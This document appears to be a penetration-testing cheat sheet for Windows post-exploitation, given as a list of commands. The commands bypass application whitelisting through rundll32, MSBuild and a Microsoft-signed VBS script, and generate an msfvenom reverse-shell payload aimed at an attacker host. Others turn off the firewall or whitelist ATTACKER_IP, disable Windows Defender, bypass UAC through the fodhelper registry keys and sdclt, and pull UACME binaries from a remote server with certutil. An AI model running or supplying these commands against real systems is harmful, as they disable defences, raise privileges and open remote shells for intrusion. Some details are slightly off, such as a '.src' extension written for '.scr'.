Execution

If you can­not exe­cute an exe file, try these options:

• Exe­cute a HTA shell
• Exe­cut it as a DLL
  • msfvenom -p windows/exec -f dll CMD=calc.exe -o calc.dll
  • C:\rundll32.exe calc.dll,doesntmatterhere
• Rename a .exe into a screen saver .src file and exe­cute it via rundll:
  copy payload.exe p.scr
C:\Windows\system32\rundll32.exe desk.cpl,InstallScreenSaver p.scr
• Use nest­ed exe­cu­tions through trust­ed appli­ca­tions:
  C:\payload.exe
C:\Windows\system32\cmd.exe /c C:\payload.exe
C:\Windows\system32\cmd.exe /c cscript.exe \windows\system32\SyncAppvPublishingServer.vbs ".;Start-Process rundll32.exe 'shell32.dll,ShellExec_RunDLL payload.exe'[ -Verb RunAs]" // With the last argument, a UAC dialog pops up, but with blue color because the program to execute was signed by Microsoft.
• Try to exe­cute (one-lin­er) scripts which runs interepret­ed code or can cre­ate new processes.
• Use MSBuild.exe.
  1. Use this CSharp template.
  2. Add C# code in the code section. 
     • Or: msfvenom -p windows/shell_reverse_tcp LHOST=$attacker LPORT=80 -f csharp
  3. Exe­cute it on the tar­get with msbuild.exe file.xml.
  4. Tip: Code could be down­loaded remote­ly: <Code Type="Class" Language="cs" Source="\10.10.10.10\bla.cs>
• C:\windows\system32\cmd.exe is blocked? Try C:\windows\SysWOW64\cmd.exe !
• Powershell.exe is blocked? 
  • C:\Windows\SysWOW64\WindowsPowerShell\...\powershell.exe
  • C:\Windows\sysnative\WindowsPowerShell\...\powershell.exe

Windows firewall / netsh

Check fire­wall state

netsh advfirewall show currentprofile
netsh advfirewall show state

If the fire­wall is active, list the configuration:

netsh advfirewall show config

Exam­ple how to add excep­tions into the fire­wall via the com­mand line from an administrator:

C:\Windows\temp> netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes

or

Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off

or whitelist the own ip

New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP

Open a port:

netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=$localWindowsIp localport=2222 action=allow

Windows Defender

Detect if the Defend­er is active:

sc query windefend

Deac­ti­vate Win­dows Defender:

sc config WinDefend start= disabled
sc stop WinDefend

Same thing in PowerShell:

Get-MpComputerStatus
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Get-MpComputerStatus

UAC User Account Control

See Win­dows secu­ri­ty fun­da­men­tels for more information

Anoth­er UAC bypass with fodhelper.exe. In a (admin) cmd:

1. Add an emp­ty key which will fod­helper bring to go to an alter­na­tive key (the next one).
   REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ
2. Set reg­istry key which fod­helper exe will access as alter­na­tive.
   REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
3. Open C:\Windows\System32\fodhelper.exe

UACME

Github

~70 meth­ods to bypass UAC in a sin­gle bina­ry. Check it out direct­ly in Visu­al Stu­dio. Remove the macro #KUMA_STUB in global.h. Then, build it.

certutil.exe -urlcache -split -f "http://$NTPSRV/Akagi32.exe" Akagi32.exe
Akagi32.exe 31 cmd.exe

certutil.exe -urlcache -split -f "http://$NTPSRV/Akagi64.exe" Akagi64.exe
Akagi64.exe 61 cmd.exe

Try var­i­ous IDs. The Github page has a (col­lapsed) list of all bypass­ing methods.

SDCLC bypass

• Open a ses­sion in meter­preter. Back­ground the session.
• Use windows/local/bypassuac_sdclt and set the back­ground­ed ses­sion and run the bypass.